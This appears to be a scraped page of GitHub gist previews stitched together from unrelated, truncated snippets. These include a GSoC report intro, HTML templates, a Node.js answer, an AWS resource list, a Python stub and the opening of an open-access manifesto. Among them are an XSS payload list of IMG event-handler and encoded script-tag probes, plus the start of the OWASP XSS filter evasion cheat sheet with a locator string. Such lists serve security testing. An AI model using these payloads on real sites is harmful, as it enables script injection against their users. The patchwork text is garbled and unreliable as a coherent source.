My GSOC internship with the Wiki Education Dashboard is coming to a close. As a result, I am writing this report to go over my experience with the program!
This also serves as a follow up to my post from last month: Halfway Through GSOC
If you'd like to go straight to my list of contributions, please click here
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <script src="http://fb.me/react-0.13.0.js"></script> | |
| <meta charset="utf-8"> | |
| <meta name="viewport" content="width=device-width"> | |
| <title>React JS Example</title> | |
| </head> | |
| <body> |
Answer: All APIs of Node.js library are aynchronous that is non-blocking. It essentially means a Node.js based server never waits for a API to return data. Server moves to next API after calling it and a notification mechanism of Events of Node.js helps server to get response from the previous API call.
Source: tutorialspoint.com
| %253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
| # pip install Pillow if you don't already have it | |
| # import image utilities | |
| from PIL import Image | |
| # import os utilities | |
| import os | |
| # define a function that rotates images in the current directory | |
| # given the rotation in degrees as a parameter |
A curated list of AWS resources to prepare for the AWS Certifications
A curated list of awesome AWS resources you need to prepare for the all 5 AWS Certifications. This gist will include: open source repos, blogs & blogposts, ebooks, PDF, whitepapers, video courses, free lecture, slides, sample test and many other resources.
| <!DOCTYPE html> | |
| <html xmlns="http://www.w3.org/1999/xhtml"> | |
| <head> | |
| <title>Invoice</title> | |
| <style media="screen"> | |
| body { | |
| font-family: 'Segoe UI','Microsoft Sans Serif',sans-serif; | |
| } | |
| /* |
This collection of files serves as a simple static demonstration of how to post to a google spreadsheet from an external html <form> following the example by Martin Hawksey
Depreciation Warning: This code is not maintained, and should be seen as reference implementation only. If you're looking to add features or update, fork the code and update as needed.
You should be able to just open index.html in your browser and test locally.
| # | |
| # https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet | |
| # based on the RSnake original http://ha.ckers.org/xss.html | |
| # Retrieved on 2013-11-20 | |
| # Much of this wildly obsolete | |
| # | |
| # XSS Locator 2 | |
| '';!--"<XSS>=&{()} |
Information is power. But like all power, there are those who want to keep it for themselves. The world’s entire scientific and cultural heritage, published over centuries in books and journals, is increasingly being digitized and locked up by a handful of private corporations. Want to read the papers featuring the most famous results of the sciences? You’ll need to send enormous amounts to publishers like Reed Elsevier.
There are those struggling to change this. The Open Access Movement has fought valiantly to ensure that scientists do not sign their copyrights away but instead ensure their work is published on the Internet, under terms that allow anyone to access it. But even under the best scenarios, their work will only apply to things published in the future. Everything up until now will have been lost.
That is too high a price to pay. Forcing academics to pay money to read the work of their colleagues? Scanning entire libraries but only allowing the folks at Google to read them? Providing scientific a
